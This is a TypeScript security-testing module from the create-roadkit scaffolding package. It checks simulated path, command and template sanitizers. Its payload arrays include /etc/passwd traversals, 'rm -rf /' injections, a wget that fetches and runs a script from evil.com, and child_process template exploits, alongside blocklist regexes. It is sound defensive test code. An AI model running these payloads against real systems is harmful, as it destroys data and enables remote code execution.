UNPKG

create-roadkit

Version:

Beautiful Next.js roadmap website generator with full-screen kanban boards, dark/light mode, and static export

606 lines (528 loc) 21.2 kB
/** * Security testing utilities for RoadKit project scaffolding system. * * This module provides comprehensive security validation and testing capabilities * to ensure the scaffolding system is protected against various attack vectors * including path traversal, command injection, template injection, and more. * * SECURITY FEATURES: * - Path traversal attack detection and prevention * - Command injection vulnerability testing * - Template injection and ReDoS attack protection * - File system race condition detection * - Comprehensive security audit capabilities */ import path from 'path'; import crypto from 'crypto'; import type { Logger } from '../types/config'; /** * Security test result interface */ export interface SecurityTestResult { testName: string; passed: boolean; severity: 'low' | 'medium' | 'high' | 'critical'; description: string; details?: string; mitigation?: string; } /** * Security audit configuration */ export interface SecurityAuditConfig { enablePathTraversalTests: boolean; enableCommandInjectionTests: boolean; enableTemplateInjectionTests: boolean; enableRaceConditionTests: boolean; enableFileSystemTests: boolean; maxTestDuration: number; // milliseconds testDataSampleSize: number; } /** * Comprehensive security testing and validation utility class * * This class provides a complete suite of security tests to validate * the scaffolding system against various attack vectors and vulnerabilities. */ export class SecurityTester { private logger: Logger; private config: SecurityAuditConfig; /** * Initialize security tester with configuration * @param logger - Logger instance for test reporting * @param config - Security audit configuration */ constructor(logger: Logger, config?: Partial<SecurityAuditConfig>) { this.logger = logger; this.config = { enablePathTraversalTests: true, enableCommandInjectionTests: true, enableTemplateInjectionTests: true, enableRaceConditionTests: true, enableFileSystemTests: true, maxTestDuration: 30000, // 30 seconds testDataSampleSize: 100, ...config, }; } /** * Runs a comprehensive security audit of the scaffolding system * * @returns Array of security test results with detailed findings */ public async runSecurityAudit(): Promise<SecurityTestResult[]> { this.logger.info('Starting comprehensive security audit'); const startTime = Date.now(); const results: SecurityTestResult[] = []; try { // Path traversal vulnerability tests if (this.config.enablePathTraversalTests) { this.logger.info('Running path traversal vulnerability tests'); const pathTraversalResults = await this.testPathTraversalVulnerabilities(); results.push(...pathTraversalResults); } // Command injection vulnerability tests if (this.config.enableCommandInjectionTests) { this.logger.info('Running command injection vulnerability tests'); const commandInjectionResults = await this.testCommandInjectionVulnerabilities(); results.push(...commandInjectionResults); } // Template injection vulnerability tests if (this.config.enableTemplateInjectionTests) { this.logger.info('Running template injection vulnerability tests'); const templateInjectionResults = await this.testTemplateInjectionVulnerabilities(); results.push(...templateInjectionResults); } // Race condition vulnerability tests if (this.config.enableRaceConditionTests) { this.logger.info('Running race condition vulnerability tests'); const raceConditionResults = await this.testRaceConditionVulnerabilities(); results.push(...raceConditionResults); } // File system security tests if (this.config.enableFileSystemTests) { this.logger.info('Running file system security tests'); const fileSystemResults = await this.testFileSystemSecurity(); results.push(...fileSystemResults); } const duration = Date.now() - startTime; const criticalIssues = results.filter(r => r.severity === 'critical' && !r.passed); const highIssues = results.filter(r => r.severity === 'high' && !r.passed); this.logger.info(`Security audit completed in ${duration}ms`); this.logger.info(`Found ${criticalIssues.length} critical and ${highIssues.length} high severity issues`); return results; } catch (error) { this.logger.error('Security audit failed', error); results.push({ testName: 'Security Audit Execution', passed: false, severity: 'critical', description: 'Security audit execution failed', details: error instanceof Error ? error.message : 'Unknown error', mitigation: 'Fix the underlying issue and re-run the security audit', }); return results; } } /** * Tests for path traversal vulnerabilities */ private async testPathTraversalVulnerabilities(): Promise<SecurityTestResult[]> { const results: SecurityTestResult[] = []; // Test cases for path traversal attacks const pathTraversalPayloads = [ '../../../etc/passwd', '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts', '....//....//....//etc/passwd', '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', '..%252f..%252f..%252fetc%252fpasswd', '..%c0%af..%c0%af..%c0%afetc%c0%afpasswd', '/var/www/../../etc/passwd', 'C:\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts', '../../../../../../../../../../etc/passwd%00.jpg', '../.../.../.../etc/passwd', ]; for (const payload of pathTraversalPayloads) { try { // Simulate the path sanitization that should occur const sanitized = this.simulatePathSanitization(payload); const testResult: SecurityTestResult = { testName: `Path Traversal Test: ${payload.substring(0, 30)}...`, passed: sanitized === null || !this.containsPathTraversal(sanitized), severity: 'critical', description: 'Tests path traversal attack prevention', details: `Input: ${payload}, Sanitized: ${sanitized}`, mitigation: 'Ensure path sanitization properly validates and normalizes all file paths', }; results.push(testResult); } catch (error) { results.push({ testName: `Path Traversal Test: ${payload.substring(0, 30)}...`, passed: false, severity: 'critical', description: 'Path traversal test execution failed', details: error instanceof Error ? error.message : 'Unknown error', mitigation: 'Fix path sanitization implementation', }); } } return results; } /** * Tests for command injection vulnerabilities */ private async testCommandInjectionVulnerabilities(): Promise<SecurityTestResult[]> { const results: SecurityTestResult[] = []; // Test cases for command injection attacks const commandInjectionPayloads = [ '/tmp/project; rm -rf /', '/tmp/project && echo "pwned" > /tmp/hacked', '/tmp/project | cat /etc/passwd', '/tmp/project`rm -rf /`', '/tmp/project$(rm -rf /)', '/tmp/project; wget http://evil.com/malware.sh -O /tmp/mal.sh; sh /tmp/mal.sh', 'C:\\Project & del /F /S /Q C:\\*', '/tmp/project\nrm -rf /', '/tmp/project\r\nformat C:', '/tmp/project; python -c "import os; os.system(\'rm -rf /\')"', ]; for (const payload of commandInjectionPayloads) { try { // Test if the payload would be properly sanitized const isSanitized = this.simulateCommandSanitization(payload); const testResult: SecurityTestResult = { testName: `Command Injection Test: ${payload.substring(0, 30)}...`, passed: isSanitized, severity: 'critical', description: 'Tests command injection attack prevention', details: `Payload: ${payload}, Sanitized: ${isSanitized}`, mitigation: 'Use subprocess calls with explicit arguments instead of shell interpolation', }; results.push(testResult); } catch (error) { results.push({ testName: `Command Injection Test: ${payload.substring(0, 30)}...`, passed: false, severity: 'critical', description: 'Command injection test execution failed', details: error instanceof Error ? error.message : 'Unknown error', mitigation: 'Fix command execution implementation', }); } } return results; } /** * Tests for template injection vulnerabilities */ private async testTemplateInjectionVulnerabilities(): Promise<SecurityTestResult[]> { const results: SecurityTestResult[] = []; // Test cases for template injection and ReDoS attacks const templateInjectionPayloads = [ '{{constructor.constructor("return process")().exit()}}', '{{7*7}}{{7*\'7\'}}', '${7*7}', '#{7*7}', '{{config.items}}', '{{constructor.constructor(\"return global.process.mainModule.require(\'child_process\').execSync(\'id\')\")()}}', '{{range.constructor("return global.process.mainModule.require(\'child_process\').execSync(\'id\')")()}}', // ReDoS patterns '(a+)+b' + 'a'.repeat(50) + 'c', '(a|a)*b' + 'a'.repeat(50) + 'c', '([a-zA-Z]+)*b' + 'a'.repeat(50) + 'c', ]; const templateContext = { name: 'TestProject', version: '1.0.0', nested: { value: 'test', }, }; for (const payload of templateInjectionPayloads) { try { const startTime = Date.now(); const processed = this.simulateTemplateProcessing(payload, templateContext); const duration = Date.now() - startTime; // Check if processing took too long (potential ReDoS) const isReDoS = duration > 1000; // 1 second threshold // Check if dangerous code was executed const isDangerous = processed.includes('constructor') || processed.includes('process') || processed.includes('require') || processed.includes('execSync'); const testResult: SecurityTestResult = { testName: `Template Injection Test: ${payload.substring(0, 30)}...`, passed: !isDangerous && !isReDoS, severity: isDangerous ? 'critical' : (isReDoS ? 'high' : 'medium'), description: 'Tests template injection and ReDoS attack prevention', details: `Payload: ${payload}, Processed: ${processed}, Duration: ${duration}ms`, mitigation: 'Sanitize template variables and implement ReDoS protection with timeouts', }; results.push(testResult); } catch (error) { // Template processing should fail gracefully, not throw errors results.push({ testName: `Template Injection Test: ${payload.substring(0, 30)}...`, passed: true, // Failing is actually good - it means the injection was prevented severity: 'medium', description: 'Template injection test caused controlled failure', details: error instanceof Error ? error.message : 'Unknown error', mitigation: 'Ensure template processing has proper error handling', }); } } return results; } /** * Tests for race condition vulnerabilities */ private async testRaceConditionVulnerabilities(): Promise<SecurityTestResult[]> { const results: SecurityTestResult[] = []; try { // Test concurrent file operations for race conditions const testPath = path.join(process.cwd(), '.security-test-temp'); const concurrentOperations = 10; const operations: Promise<any>[] = []; // Simulate concurrent file creation attempts for (let i = 0; i < concurrentOperations; i++) { operations.push( this.simulateConcurrentFileOperation(testPath, i) ); } const results_concurrent = await Promise.allSettled(operations); const failed = results_concurrent.filter(r => r.status === 'rejected').length; const succeeded = results_concurrent.filter(r => r.status === 'fulfilled').length; results.push({ testName: 'Concurrent File Operation Race Condition Test', passed: failed === 0, // All operations should succeed without race conditions severity: 'high', description: 'Tests for race conditions in concurrent file operations', details: `${succeeded} succeeded, ${failed} failed out of ${concurrentOperations} operations`, mitigation: 'Implement proper locking and atomic operations for file system operations', }); // Cleanup test files try { for (let i = 0; i < concurrentOperations; i++) { await Bun.unlink(`${testPath}-${i}`).catch(() => {}); } } catch { // Ignore cleanup errors } } catch (error) { results.push({ testName: 'Race Condition Test Execution', passed: false, severity: 'medium', description: 'Race condition test execution failed', details: error instanceof Error ? error.message : 'Unknown error', mitigation: 'Fix race condition testing implementation', }); } return results; } /** * Tests for file system security issues */ private async testFileSystemSecurity(): Promise<SecurityTestResult[]> { const results: SecurityTestResult[] = []; // Test file extension validation const dangerousExtensions = ['.exe', '.bat', '.cmd', '.com', '.scr', '.vbs', '.js', '.jar', '.sh']; for (const ext of dangerousExtensions) { const filename = `test${ext}`; const isBlocked = this.simulateFileExtensionValidation(filename); results.push({ testName: `Dangerous File Extension Test: ${ext}`, passed: isBlocked, severity: 'medium', description: 'Tests blocking of potentially dangerous file extensions', details: `Extension ${ext} blocked: ${isBlocked}`, mitigation: 'Maintain allowlist of safe file extensions and block dangerous ones', }); } // Test file size limits const largeSizeTest = this.simulateFileSizeValidation(100 * 1024 * 1024); // 100MB results.push({ testName: 'File Size Limit Test', passed: !largeSizeTest, // Should be blocked severity: 'medium', description: 'Tests file size limit enforcement', details: `100MB file allowed: ${largeSizeTest}`, mitigation: 'Implement reasonable file size limits to prevent DoS attacks', }); return results; } // ============================================================================ // SIMULATION METHODS FOR TESTING SECURITY IMPLEMENTATIONS // ============================================================================ /** * Simulates path sanitization logic for testing */ private simulatePathSanitization(inputPath: string): string | null { try { if (!inputPath || typeof inputPath !== 'string') { return null; } // Remove null bytes let cleaned = inputPath.replace(/\x00/g, ''); // Check for dangerous patterns const blockedPatterns = [/\.\.|[<>:"|\\*\\?]/g, /\x00/g, /[\/\\]{2,}/g]; for (const pattern of blockedPatterns) { if (pattern.test(cleaned)) { return null; } } // Normalize path cleaned = path.normalize(cleaned); // Check for path traversal if (cleaned.includes('..')) { return null; } return cleaned; } catch { return null; } } /** * Checks if a path contains path traversal attempts */ private containsPathTraversal(pathStr: string): boolean { const dangerousPaths = ['/etc/', '/var/', '/usr/', '/root/', 'C:\\Windows', 'C:\\System']; return dangerousPaths.some(dangerous => pathStr.includes(dangerous)); } /** * Simulates command sanitization for testing */ private simulateCommandSanitization(command: string): boolean { // Check if command contains injection patterns const injectionPatterns = [ /[;&|`$()]/, // Command separators and substitution /\n|\r/, // Newlines /\s(rm|del|format|wget|curl|python|perl|ruby|php)\s/i, // Dangerous commands ]; return !injectionPatterns.some(pattern => pattern.test(command)); } /** * Simulates template processing for testing */ private simulateTemplateProcessing(template: string, context: any): string { // Basic template processing simulation with security measures let processed = template; // Simple variable replacement with sanitization const regex = /\{\{([^}]+)\}\}/g; processed = processed.replace(regex, (match, variable) => { // Block dangerous patterns if (variable.includes('constructor') || variable.includes('process') || variable.includes('require')) { return '[BLOCKED]'; } // Simple variable lookup const parts = variable.trim().split('.'); let value = context; for (const part of parts) { if (value && typeof value === 'object' && part in value) { value = value[part]; } else { return ''; } } return String(value || ''); }); return processed; } /** * Simulates concurrent file operation for race condition testing */ private async simulateConcurrentFileOperation(basePath: string, index: number): Promise<void> { const filePath = `${basePath}-${index}`; // Simulate check-then-act race condition const exists = await Bun.file(filePath).exists(); if (!exists) { // Small delay to increase chance of race condition await new Promise(resolve => setTimeout(resolve, Math.random() * 10)); await Bun.write(filePath, `Test content ${index}`); } } /** * Simulates file extension validation */ private simulateFileExtensionValidation(filename: string): boolean { const allowedExtensions = ['.js', '.ts', '.tsx', '.jsx', '.json', '.md', '.css', '.html', '.yml', '.yaml', '.txt']; const ext = path.extname(filename).toLowerCase(); return !ext || allowedExtensions.includes(ext); } /** * Simulates file size validation */ private simulateFileSizeValidation(size: number): boolean { const maxSize = 10 * 1024 * 1024; // 10MB limit return size <= maxSize; } /** * Generates a security report from test results */ public generateSecurityReport(results: SecurityTestResult[]): string { const critical = results.filter(r => r.severity === 'critical' && !r.passed); const high = results.filter(r => r.severity === 'high' && !r.passed); const medium = results.filter(r => r.severity === 'medium' && !r.passed); const low = results.filter(r => r.severity === 'low' && !r.passed); const passed = results.filter(r => r.passed).length; const total = results.length; return ` # RoadKit Security Audit Report ## Summary - **Total Tests:** ${total} - **Passed:** ${passed} - **Failed:** ${total - passed} ## Issues by Severity - **Critical:** ${critical.length} - **High:** ${high.length} - **Medium:** ${medium.length} - **Low:** ${low.length} ## Critical Issues ${critical.map(issue => ` ### ${issue.testName} - **Description:** ${issue.description} - **Details:** ${issue.details || 'N/A'} - **Mitigation:** ${issue.mitigation || 'N/A'} `).join('\n')} ## High Severity Issues ${high.map(issue => ` ### ${issue.testName} - **Description:** ${issue.description} - **Details:** ${issue.details || 'N/A'} - **Mitigation:** ${issue.mitigation || 'N/A'} `).join('\n')} ## Recommendations ${critical.length > 0 ? '- **IMMEDIATE ACTION REQUIRED:** Fix all critical security issues before deployment.' : ''} ${high.length > 0 ? '- Address high severity issues as soon as possible.' : ''} - Regularly run security audits during development. - Implement security monitoring and alerting. - Consider penetration testing for production deployments. `.trim(); } } /** * Factory function to create a SecurityTester instance * @param logger - Logger instance for test reporting * @param config - Optional security audit configuration * @returns Configured SecurityTester instance */ export const createSecurityTester = ( logger: Logger, config?: Partial<SecurityAuditConfig> ): SecurityTester => { return new SecurityTester(logger, config); }; /** * Convenience function to run a quick security audit * @param logger - Logger instance * @returns Promise with security test results */ export const runQuickSecurityAudit = async (logger: Logger): Promise<SecurityTestResult[]> => { const tester = createSecurityTester(logger, { testDataSampleSize: 10, // Reduced for quick audit maxTestDuration: 5000, // 5 seconds max }); return await tester.runSecurityAudit(); };